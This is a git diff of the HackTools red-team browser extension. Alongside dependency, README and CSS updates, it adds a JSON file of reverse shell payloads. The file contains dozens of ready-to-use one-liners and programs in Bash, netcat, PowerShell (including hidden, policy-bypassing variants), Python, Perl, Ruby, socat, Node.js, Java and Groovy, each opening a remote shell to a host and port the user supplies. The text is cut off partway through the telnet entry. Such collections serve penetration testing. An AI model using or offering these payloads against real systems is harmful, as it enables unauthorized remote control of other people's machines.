diff --git a/.gitignore b/.gitignore index 321d99a..0149abc 100644 --- a/.gitignore +++ b/.gitignore @@ -9,4 +9,5 @@ yarn-error.log .vscode .idea .github -pnpm-lock.yaml \ No newline at end of file +pnpm-lock.yaml +bundle*.zip diff --git a/README.md b/README.md index 057790b..76cd0c4 100644 --- a/README.md +++ b/README.md @@ -3,22 +3,19 @@

Welcome to HackTools ๐Ÿ› 

Version - release - mozilla + mozilla - chrome-extension + chrome-extension + + + safari-extension Downloads - commit - + RawSecInventory - stars - - Language grade: JavaScript -

Introduction @@ -62,19 +59,19 @@ With the extension you **no longer need to search for payloads in different webs

- preview_2 + preview_2
- preview_3 + preview_3
- preview_4 + preview_4
- preview_5 + preview_5
@@ -123,22 +120,22 @@ Follow the instructions to create the project the default language should be Swi ```bash git clone https://github.com/LasCC/Hack-Tools.git cd Hack-Tools -npm install && npm run build # If you have installed yarn you can replace npm with yarn +npm install && npm run build ``` Once the build is done correctly, webpack will create a new folder called **dist** After that you need to go to the **extension** tab on your chrome based navigator and turn on the **developer mode** -extension_tutorial +extension_tutorial Then click on the **load unpacked** button in the top left corner -extension_tutorial +extension_tutorial Once you clicked on the button you just need to select the **dist folder** and that's it ! ๐ŸŽ‰ -extension_tutorial +extension_tutorial ## Authors @@ -150,4 +147,4 @@ You can give a โญ๏ธ if this project helped you ! Note that this project is maintained, developed and made available for **free**, you can offer us a coffee, it will be very **encouraging and greatly appreciated** ๐Ÿ˜Š -Paypal +Paypal diff --git a/package.json b/package.json index 937d33e..7a93824 100644 --- a/package.json +++ b/package.json @@ -1,76 +1,87 @@ { - "name": "hack-tools", - "version": "1.0.0", - "description": "The all in one Red team browser extension for web pentesters", - "main": "index.js", - "scripts": { - "start": "webpack --watch", - "build": "webpack --mode production && rm -f ./dist/*.map", - "watch": "webpack --watch", - "zip_moz": "zip -r bundle_moz.zip dist/*", - "zip_chrome": "zip -r bundle_chrome.zip dist/", - "zip_all": "yarn zip_moz && yarn zip_chrome", - "test": "echo \"Error: no test specified\" && exit 1" - }, - "keywords": [], - "author": "Ludovic COULON & Riadh BOUCHAHOUA", - "license": "MIT", - "devDependencies": { - "@babel/cli": "^7.16.0", - "@babel/core": "^7.16.0", - "@babel/helper-call-delegate": "^7.12.13", - "@babel/plugin-proposal-class-properties": "^7.16.0", - "@babel/preset-env": "^7.16.4", - "@babel/preset-react": "^7.16.0", - "@babel/preset-typescript": "^7.15.0", - "@pmmmwh/react-refresh-webpack-plugin": "^0.5.2", - "@types/antd": "^1.0.0", - "@types/crypto-js": "^4.0.2", - "@types/pretty": "^2.0.0", - "@types/react-query": "^1.2.9", - "@types/react-syntax-highlighter": "^13.5.2", - "@types/use-persisted-state": "^0.3.0", - "babel-loader": "^8.2.3", - "clean-webpack-plugin": "^4.0.0", - "copy-webpack-plugin": "^10.0.0", - "css-loader": "^6.5.1", - "file-loader": "^6.2.0", - "html-webpack-plugin": "^5.5.0", - "react-hot-loader": "^4.13.0", - "react-refresh": "^0.11.0", - "style-loader": "^3.3.1", - "typescript": "^4.4.3", - "webpack": "^5.64.1", - "webpack-cli": "^4.9.1", - "webpack-dev-server": "^4.5.0" - }, - "browserslist": [ ">0.2%", "not dead", "not op_mini all" ], - "dependencies": { - "@ant-design/icons": "4.7.0", - "@hot-loader/react-dom": "^17.0.1", - "@types/chrome": "^0.0.164", - "@types/jest": "^27.0.3", - "@types/node": "^16.11.9", - "@types/react": "^17.0.27", - "@types/react-dom": "^17.0.9", - "antd": "4.16.13", - "antd-mask-input": "0.1.15", - "axios": "^0.24.0", - "crypto-js": "^4.0.0", - "escape-quotes": "^1.0.2", - "less": "^4.1.2", - "less-loader": "^10.2.0", - "pretty": "^2.0.0", - "rc-queue-anim": "^2.0.0", - "react": "latest", - "react-chrome-extension-router": "^1.3.1", - "react-clipboard.js": "2.0.16", - "react-dom": "latest", - "react-query": "^3.33.1", - "react-refresh-typescript": "^2.0.2", - "react-syntax-highlighter": "^15.4.5", - "sm3": "^1.0.3", - "ts-loader": "^9.2.6", - "use-persisted-state": "^0.3.3" - } -} + "name": "hack-tools", + "version": "1.0.0", + "description": "The all in one Red team browser extension for web pentesters", + "main": "index.js", + "scripts": { + "start": "webpack --watch", + "build": "webpack --mode production && rm -f ./dist/*.map", + "watch": "webpack --watch", + "zip_chrome": "rm -f './dist/*.map' && zip -r bundle_chrome.zip dist/", + "zip_moz": " rm -f './dist/*.map' && sed -i 's/\"manifest_version\": 3/\"manifest_version\": 2/g' ./dist/manifest.json && sed -i 's/\"action\":/\"browser_action\":/g' ./dist/manifest.json & zip -r bundle_moz.zip dist/*", + "zip_all": "yarn zip_chrome && yarn zip_moz", + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [], + "author": "Ludovic COULON & Riadh BOUCHAHOUA", + "license": "MIT", + "devDependencies": { + "@babel/cli": "^7.21.0", + "@babel/core": "^7.21.0", + "@babel/helper-call-delegate": "^7.12.13", + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/preset-env": "^7.20.2", + "@babel/preset-react": "^7.18.6", + "@babel/preset-typescript": "^7.21.0", + "@pmmmwh/react-refresh-webpack-plugin": "^0.5.10", + "@types/crypto-js": "^4.1.1", + "@types/pretty": "^2.0.1", + "@types/react-syntax-highlighter": "^15.5.6", + "@types/use-persisted-state": "^0.3.1", + "babel-loader": "^9.1.2", + "clean-webpack-plugin": "^4.0.0", + "copy-webpack-plugin": "^11.0.0", + "css-loader": "^6.7.3", + "file-loader": "^6.2.0", + "html-webpack-plugin": "^5.5.0", + "react-hot-loader": "^4.13.1", + "react-refresh": "^0.14.0", + "style-loader": "^3.3.1", + "typescript": "^4.9.5", + "webpack": "^5.76.1", + "webpack-cli": "^5.0.1", + "webpack-dev-server": "^4.11.1" + }, + "browserslist": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "dependencies": { + "@ant-design/compatible": "^5.1.1", + "@ant-design/cssinjs": "^1.6.1", + "@ant-design/icons": "4.8.0", + "@ant-design/pro-card": "^2.3.0", + "@ant-design/pro-layout": "^7.10.0", + "@hot-loader/react-dom": "^17.0.2", + "@types/chrome": "^0.0.206", + "@types/jest": "^29.4.0", + "@types/node": "^18.15.0", + "@types/react": "^18.0.28", + "@types/react-dom": "^18.0.11", + "@uiw/react-md-editor": "^3.20.5", + "antd": "5.1.0", + "antd-mask-input": "2.0.7", + "axios": "^1.3.4", + "crypto-js": "^4.1.1", + "darkreader": "^4.9.58", + "escape-quotes": "^1.0.2", + "less": "^4.1.3", + "less-loader": "^11.1.0", + "mermaid": "^9.4.3", + "pretty": "^2.0.0", + "rc-queue-anim": "^2.0.0", + "react": "^18.2.0", + "react-chrome-extension-router": "^1.4.0", + "react-clipboard.js": "2.0.16", + "react-color": "^2.19.3", + "react-dom": "^18.2.0", + "react-highlight-words": "^0.18.0", + "react-query": "^3.39.3", + "react-refresh-typescript": "^2.0.8", + "react-syntax-highlighter": "^15.5.0", + "sm3": "^1.0.3", + "ts-loader": "^9.4.2", + "use-persisted-state": "^0.3.3" + } +} \ No newline at end of file diff --git a/src/App.tsx b/src/App.tsx index 96709a6..d4ec1cf 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -1,7 +1,7 @@ import React from 'react'; import ReactDOM from 'react-dom'; import { Router } from 'react-chrome-extension-router'; -import { BackTop } from 'antd'; +import { FloatButton } from 'antd'; import { QueryClientProvider, QueryClient } from 'react-query'; import LayoutApp from './components/LayoutApp'; import ReverseShell from './components/linux/ReverseShell'; @@ -17,13 +17,14 @@ const App = () => { ); }; + ReactDOM.render( - + , document.getElementById( 'app' ) diff --git a/src/assets/css/style.css b/src/assets/css/style.css index 0702a34..7e82c7e 100644 --- a/src/assets/css/style.css +++ b/src/assets/css/style.css @@ -1,209 +1,113 @@ -.logo { - height: 32px; - margin: 16px; +.logo:hover { + cursor: pointer; + animation: jelly 0.5s; } -.logo:hover { - cursor: pointer; - animation: jelly 0.5s; +.logo { + padding-left: 17px; + padding-top: 14px; + margin-bottom: 10px; } @keyframes jelly { - 0%, - 100% { - transform: scale(1, 1); - } - 25% { - transform: scale(0.9, 1.1); - } - 50% { - transform: scale(1.1, 0.9); - } - 75% { - transform: scale(0.95, 1.05); - } + + 0%, + 100% { + transform: scale(1, 1); + } + + 25% { + transform: scale(0.9, 1.1); + } + + 50% { + transform: scale(1.1, 0.9); + } + + 75% { + transform: scale(0.95, 1.05); + } } .ant-badge { - color: inherit !important; + color: inherit !important; } .site-layout .site-layout-background { - border-radius: 10px; + border-radius: 10px; } + .ant-menu-inline .ant-menu-item:not(:last-child), .ant-menu-vertical-left .ant-menu-item:not(:last-child), .ant-menu-vertical-right .ant-menu-item:not(:last-child), .ant-menu-vertical .ant-menu-item:not(:last-child) { - margin: 0px !important; + margin: 0px !important; } .ant-menu-dark.ant-menu-inline .ant-menu-item, .ant-menu-dark.ant-menu-vertical .ant-menu-item, .ant-menu-dark.ant-menu-vertical-left .ant-menu-item, .ant-menu-dark.ant-menu-vertical-right .ant-menu-item { - left: 0 !important; - margin-left: 0 !important; - border-right: 0 !important; + left: 4px !important; + margin-left: 0 !important; + border-right: 0 !important; } + .ant-menu-vertical .ant-menu-item:not(:last-child), .ant-menu-vertical-left .ant-menu-item:not(:last-child), .ant-menu-vertical-right .ant-menu-item:not(:last-child), .ant-menu-inline .ant-menu-item:not(:last-child) { - margin: 0 !important; + margin: 0 !important; } -.ant-menu-inline-collapsed > .ant-menu-item, -.ant-menu-inline-collapsed > .ant-menu-item-group > .ant-menu-item-group-list > .ant-menu-item, -.ant-menu-inline-collapsed - > .ant-menu-item-group - > .ant-menu-item-group-list - > .ant-menu-submenu - > .ant-menu-submenu-title, -.ant-menu-inline-collapsed > .ant-menu-submenu > .ant-menu-submenu-title { - left: 0 !important; - padding: 2px calc(50% - 14px / 2) !important; - text-overflow: clip !important; +.ant-menu-inline-collapsed>.ant-menu-item, +.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item, +.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title, +.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title { + left: 0 !important; + padding: 2px calc(50% - 25px / 2) !important; + text-overflow: clip !important; } -.ant-menu-vertical > .ant-menu-item, -.ant-menu-vertical-left > .ant-menu-item, -.ant-menu-vertical-right > .ant-menu-item, -.ant-menu-inline > .ant-menu-item, -.ant-menu-vertical > .ant-menu-submenu > .ant-menu-submenu-title, -.ant-menu-vertical-left > .ant-menu-submenu > .ant-menu-submenu-title, -.ant-menu-vertical-right > .ant-menu-submenu > .ant-menu-submenu-title, -.ant-menu-inline > .ant-menu-submenu > .ant-menu-submenu-title { - height: 35px !important; - line-height: 35px !important; -} -.ant-typography-single-line { - white-space: normal !important; -} -.ant-menu-inline-collapsed > .ant-menu-item .ant-menu-item-icon, -.ant-menu-inline-collapsed > .ant-menu-item-group > .ant-menu-item-group-list > .ant-menu-item .ant-menu-item-icon, -.ant-menu-inline-collapsed - > .ant-menu-item-group - > .ant-menu-item-group-list - > .ant-menu-submenu - > .ant-menu-submenu-title - .ant-menu-item-icon, -.ant-menu-inline-collapsed > .ant-menu-submenu > .ant-menu-submenu-title .ant-menu-item-icon, -.ant-menu-inline-collapsed > .ant-menu-item .anticon, -.ant-menu-inline-collapsed > .ant-menu-item-group > .ant-menu-item-group-list > .ant-menu-item .anticon, -.ant-menu-inline-collapsed - > .ant-menu-item-group - > .ant-menu-item-group-list - > .ant-menu-submenu - > .ant-menu-submenu-title - .anticon, -.ant-menu-inline-collapsed > .ant-menu-submenu > .ant-menu-submenu-title .anticon { - margin: 0 !important; - font-size: 18px !important; - line-height: 32px !important; +.ant-menu-vertical>.ant-menu-item, +.ant-menu-vertical-left>.ant-menu-item, +.ant-menu-vertical-right>.ant-menu-item, +.ant-menu-inline>.ant-menu-item, +.ant-menu-vertical>.ant-menu-submenu>.ant-menu-submenu-title, +.ant-menu-vertical-left>.ant-menu-submenu>.ant-menu-submenu-title, +.ant-menu-vertical-right>.ant-menu-submenu>.ant-menu-submenu-title, +.ant-menu-inline>.ant-menu-submenu>.ant-menu-submenu-title { + height: 35px !important; + line-height: 35px !important; } -h1.ant-typography, -.ant-typography h1 { - margin-bottom: 0.5em; - font-weight: 600; - font-size: 33px; - line-height: 1.23; -} -h2.ant-typography, -.ant-typography h2 { - margin-bottom: 0.5em; - font-weight: 600; - font-size: 26px; - line-height: 1.35; -} -h3.ant-typography, -.ant-typography h3 { - margin-bottom: 0.5em; - font-weight: 600; - font-size: 21px; - line-height: 1.35; -} -h4.ant-typography, -.ant-typography h4 { - margin-bottom: 0.5em; - font-weight: 600; - font-size: 18px; - line-height: 1.4; -} -h5.ant-typography, -.ant-typography h5 { - margin-bottom: 0.5em; - font-weight: 600; - font-size: 14px; - line-height: 1.5; -} -.ant-typography + h1.ant-typography, -.ant-typography + h2.ant-typography, -.ant-typography + h3.ant-typography, -.ant-typography + h4.ant-typography, -.ant-typography + h5.ant-typography { - margin-top: 1.2em !important; -} -.ant-typography div + h1, -.ant-typography ul + h1, -.ant-typography li + h1, -.ant-typography p + h1, -.ant-typography h1 + h1, -.ant-typography h2 + h1, -.ant-typography h3 + h1, -.ant-typography h4 + h1, -.ant-typography h5 + h1, -.ant-typography div + h2, -.ant-typography ul + h2, -.ant-typography li + h2, -.ant-typography p + h2, -.ant-typography h1 + h2, -.ant-typography h2 + h2, -.ant-typography h3 + h2, -.ant-typography h4 + h2, -.ant-typography h5 + h2, -.ant-typography div + h3, -.ant-typography ul + h3, -.ant-typography li + h3, -.ant-typography p + h3, -.ant-typography h1 + h3, -.ant-typography h2 + h3, -.ant-typography h3 + h3, -.ant-typography h4 + h3, -.ant-typography h5 + h3, -.ant-typography div + h4, -.ant-typography ul + h4, -.ant-typography li + h4, -.ant-typography p + h4, -.ant-typography h1 + h4, -.ant-typography h2 + h4, -.ant-typography h3 + h4, -.ant-typography h4 + h4, -.ant-typography h5 + h4, -.ant-typography div + h5, -.ant-typography ul + h5, -.ant-typography li + h5, -.ant-typography p + h5, -.ant-typography h1 + h5, -.ant-typography h2 + h5, -.ant-typography h3 + h5, -.ant-typography h4 + h5, -.ant-typography h5 + h5 { - margin-top: 1.2em; +.ant-menu-inline-collapsed>.ant-menu-item .ant-menu-item-icon, +.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .ant-menu-item-icon, +.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon, +.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon, +.ant-menu-inline-collapsed>.ant-menu-item .anticon, +.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .anticon, +.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .anticon, +.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .anticon { + margin: 0 !important; + font-size: 18px !important; + line-height: 32px !important; } .iconfont { - font-family: "iconfont"; - margin: 0; - font-size: 14px; - line-height: 32px; - font-style: normal; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; + font-family: "iconfont"; + margin: 0; + font-size: 14px; + line-height: 32px; + font-style: normal; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; } body { - min-width: 750px; - min-height: auto; -} + min-width: 750px; + min-height: auto; + margin: 0px !important; + font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; + font-size: 14px; +} \ No newline at end of file diff --git a/src/assets/data/RevShell.json b/src/assets/data/RevShell.json new file mode 100644 index 0000000..ee54635 --- /dev/null +++ b/src/assets/data/RevShell.json @@ -0,0 +1,375 @@ +[ + { + "name": "Bash -i", + "command": "{shell} -i >& /dev/tcp/${values.ip}/${values.port} 0>&1", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Bash 196", + "command": "0<&196;exec 196<>/dev/tcp/${values.ip}/${values.port}; {shell} <&196 >&196 2>&196", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Bash read line", + "command": "exec 5<>/dev/tcp/${values.ip}/${values.port};cat <&5 | while read line; do $line 2>&5 >&5; done", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Bash 5", + "command": "{shell} -i 5<> /dev/tcp/${values.ip}/${values.port} 0<&5 1>&5 2>&5", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Bash udp", + "command": "{shell} -i >& /dev/udp/${values.ip}/${values.port} 0>&1", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "nc mkfifo", + "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc ${values.ip} ${values.port} >/tmp/f", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "nc -e", + "command": "nc ${values.ip} ${values.port} -e {shell}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "nc.exe -e", + "command": "nc.exe ${values.ip} ${values.port} -e {shell}", + "tags": [ + "windows" + ] + }, + { + "name": "nc -c", + "command": "nc -c {shell} ${values.ip} ${values.port}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "ncat -e", + "command": "ncat ${values.ip} ${values.port} -e {shell}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "ncat.exe -e", + "command": "ncat.exe ${values.ip} ${values.port} -e {shell}", + "tags": [ + "windows" + ] + }, + { + "name": "ncat udp", + "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u ${values.ip} ${values.port} >/tmp/f", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "rustcat", + "command": "rcat ${values.ip} ${values.port} -r {shell}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Haskell #1", + "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc ${values.ip} ${values.port} >/tmp/f\"", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Perl", + "command": "perl -e 'use Socket;$i=\"${values.ip}\";$p=${values.port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Perl no sh", + "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"${values.ip}:${values.port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "PowerShell #1", + "command": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"${values.ip}\",${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", + "tags": [ + "windows" + ] + }, + { + "name": "PowerShell #2", + "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", + "tags": [ + "windows" + ] + }, + { + "name": "PowerShell #3", + "command": "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"", + "tags": [ + "windows" + ] + }, + { + "name": "PowerShell #4 (TLS)", + "command": "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"", + "tags": [ + "windows" + ] + }, + { + "name": "Python #1", + "command": "export RHOST=\"${values.ip}\";export RPORT=${values.port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Python #2", + "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${values.ip}\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Python3 #1", + "command": "export RHOST=\"${values.ip}\";export RPORT=${values.port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Python3 #2", + "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${values.ip}\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Python3 Windows", + "command": "import os,socket,subprocess,threading;\ndef s2p(s, p):\n while True:\n data = s.recv(1024)\n if len(data) > 0:\n p.stdin.write(data)\n p.stdin.flush()\n\ndef p2s(s, p):\n while True:\n s.send(p.stdout.read(1))\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"${values.ip}\",${values.port}))\n\np=subprocess.Popen([\"{shell}\"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n\ns2p_thread = threading.Thread(target=s2p, args=[s, p])\ns2p_thread.daemon = True\ns2p_thread.start()\n\np2s_thread = threading.Thread(target=p2s, args=[s, p])\np2s_thread.daemon = True\np2s_thread.start()\n\ntry:\n p.wait()\nexcept KeyboardInterrupt:\n s.close()", + "tags": [ + "windows" + ] + }, + { + "name": "Python3 shortest", + "command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"${values.ip}\",${values.port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'", + "tags": [ + "linux" + ] + }, + { + "name": "Ruby #1", + "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"${values.ip}\",${values.port}))'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Ruby no sh", + "command": "ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"${values.ip}\",\"${values.port}\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "socat #1", + "command": "socat TCP:${values.ip}:${values.port} EXEC:{shell}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "socat #2 (TTY)", + "command": "socat TCP:${values.ip}:${values.port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "node.js", + "command": "require('child_process').exec('nc -e {shell} ${values.ip} ${values.port}')", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "node.js #2", + "command": "(function(){\r\n var net = require(\"net\"),\r\n cp = require(\"child_process\"),\r\n sh = cp.spawn(\"\\{shell}\", []);\r\n var client = new net.Socket();\r\n client.connect(${values.port}, \"${values.ip}\", function(){\r\n client.pipe(sh.stdin);\r\n sh.stdout.pipe(client);\r\n sh.stderr.pipe(client);\r\n });\r\n return \/a\/; \/\/ Prevents the Node.js application from crashing\r\n})();", + "tags": [ + "linux", + "mac", + "windows" + ] + }, + { + "name": "Java #1", + "command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Java #2", + "command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Java #3", + "command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n public static void main(String[] args) {\n String host = \"${values.ip}\";\n int port = ${values.port};\n String cmd = \"{shell}\";\n try {\n Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n Socket s = new Socket(host, port);\n InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0)\n so.write(pi.read());\n while (pe.available() > 0)\n so.write(pe.read());\n while (si.available() > 0)\n po.write(si.read());\n so.flush();\n po.flush();\n Thread.sleep(50);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {}\n }\n p.destroy();\n s.close();\n } catch (Exception e) {}\n }\n}", + "tags": [ + "windows", + "linux", + "mac" + ] + }, + { + "name": "Javascript", + "command": "String command = \"var host = \\'${values.ip}\\';\" +\r\n \"var port = ${values.port};\" +\r\n \"var cmd = \\'{shell}\\';\"+\r\n \"var s = new java.net.Socket(host, port);\" +\r\n \"var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();\"+\r\n \"var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\"+\r\n \"var po = p.getOutputStream(), so = s.getOutputStream();\"+\r\n \"print (\\'Connected\\');\"+\r\n \"while (!s.isClosed()) {\"+\r\n \" while (pi.available() > 0)\"+\r\n \" so.write(pi.read());\"+\r\n \" while (pe.available() > 0)\"+\r\n \" so.write(pe.read());\"+\r\n \" while (si.available() > 0)\"+\r\n \" po.write(si.read());\"+\r\n \" so.flush();\"+\r\n \" po.flush();\"+\r\n \" java.lang.Thread.sleep(50);\"+\r\n \" try {\"+\r\n \" p.exitValue();\"+\r\n \" break;\"+\r\n \" }\"+\r\n \" catch (e) {\"+\r\n \" }\"+\r\n \"}\"+\r\n \"p.destroy();\"+\r\n \"s.close();\";\r\nString x = \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"\"+command+\"\\\")\";\r\nref.add(new StringRefAddr(\"x\", x);", + "tags": [ + "linux", + "mac", + "windows" + ] + }, + { + "name": "Groovy", + "command": "String host=\"${values.ip}\";int port=${values.port};String cmd=\"{shell}\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();", + "tags": [ + "windows" + ] + }, + { + "name": "telnet", + 